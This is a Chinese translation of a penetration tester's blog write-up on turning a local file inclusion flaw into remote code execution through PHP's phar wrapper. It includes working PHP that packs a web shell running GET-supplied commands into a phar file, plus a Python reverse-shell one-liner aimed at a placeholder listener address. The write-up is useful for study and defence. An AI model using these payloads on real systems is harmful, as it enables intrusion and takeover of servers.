用Phar wrapper 实现本地文件包含(LFI)到远程代码注入(RCE)
嗨,亲爱的读者们,自从上次写信以来已经有一段时间了。 为此,我将向您展示如何将本地文件包含(LFI)应用于远程代码注入(RCE)。
作为我日常工作的一部分,我需要在Web应用程序上进行pentest,所以在处理它时,我有一个本地文件包含(LFI)漏洞,它允许我读取服务器上托管的任何文件。
在Web应用程序评估期间,我使用了php wrapper来读取base64格式的文件,这需要我解码。 下图证明我已成功查看page.php文件。 由于保密协议(NDA),我必须删除任何敏感信息。
读取page.php文件内容(base64编码)
通过解码base64,我能够查看page.php的源代码。
page.php源码
在继续评估Web应用程序的同时,我注意到Web应用程序具有上传功能,该功能会将.png扩展名附加到正在上传的任何内容中。通过阅读源代码验证了这一点,感谢LFI😉。
上传.php扩展文件后,我无法执行该文件,同时我也在Burp Suite中意识到文件的内容未被删除。
在询问我的同事和一些Google搜索时,我发现可以使用PHP phar包装器。好消息是,该Web应用程序支持PHP phar包装。为了验证Web应用程序是否支持包装,请参考下图:
不支持
支持
从上图可以看出,如果包装不受支持,应用程序会给你一个警告,指出“无法找到包装'zip'”。
由于PHP phar包装受支持,我创建了一个要上传的文件。下面的源代码用于创建phar文件。
注意:在执行代码之前,请确保您已将php.ini中的更改从phar.readonly = On改为phar.readonly = Off。
<?php try{ $p = new Phar("my.phar", 0, 'my.phar'); } catch (UnexpectedValueException $e) { die('Could not open my.phar'); } catch (BadMethodCallException $e) { echo 'technically, this cannot happen'; } $p->startBuffering(); $p['file1.txt'] = 'file1'; $p['file2.txt'] = 'file2'; $p['file3.txt'] = 'file3'; $p['shell.php'] = '<?php system($_GET[c]); ?>'; // use my.phar echo file_get_contents('phar://my.phar/file2.txt'); // echo file2 // make a file named my.phar $p->setStub("<?php Phar::mapPhar('myphar.phar'); __HALT_COMPILER();"); $p->stopBuffering(); ?> 注意:上面的代码取自:http://0cx.cc/phar-lfi.jspx。唯一的变化是在第15行。
- 修改之前: $p[‘shell.php’] = ‘<?php phpinfo(); eval($_POST[x]); ?>’;
- 修改之后: $p[‘shell.php’] = ‘<?php system($_GET[c]); ?>’;
下图显示,我已成功执行代码并创建了一个名为my.phar的文件。
my.phar创建成功
成功上传my.phar文件后,我能够通过PHP phar包装器成功执行命令。下图显示我执行了“id”命令。
由于我能够执行命令,我做了一些枚举,并发现python正在被使用,因此我使用了python reverse shell。
下面是python反弹shell脚本:
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" Listening_IP Listening_Port 反弹shell成功执行,如下图所示:
原文链接:http://www.jasveermaan.com/index.php/2018/04/28/local-file-inclusion-lfi-to-remote-code-injection-rce-using-phar-wrapper/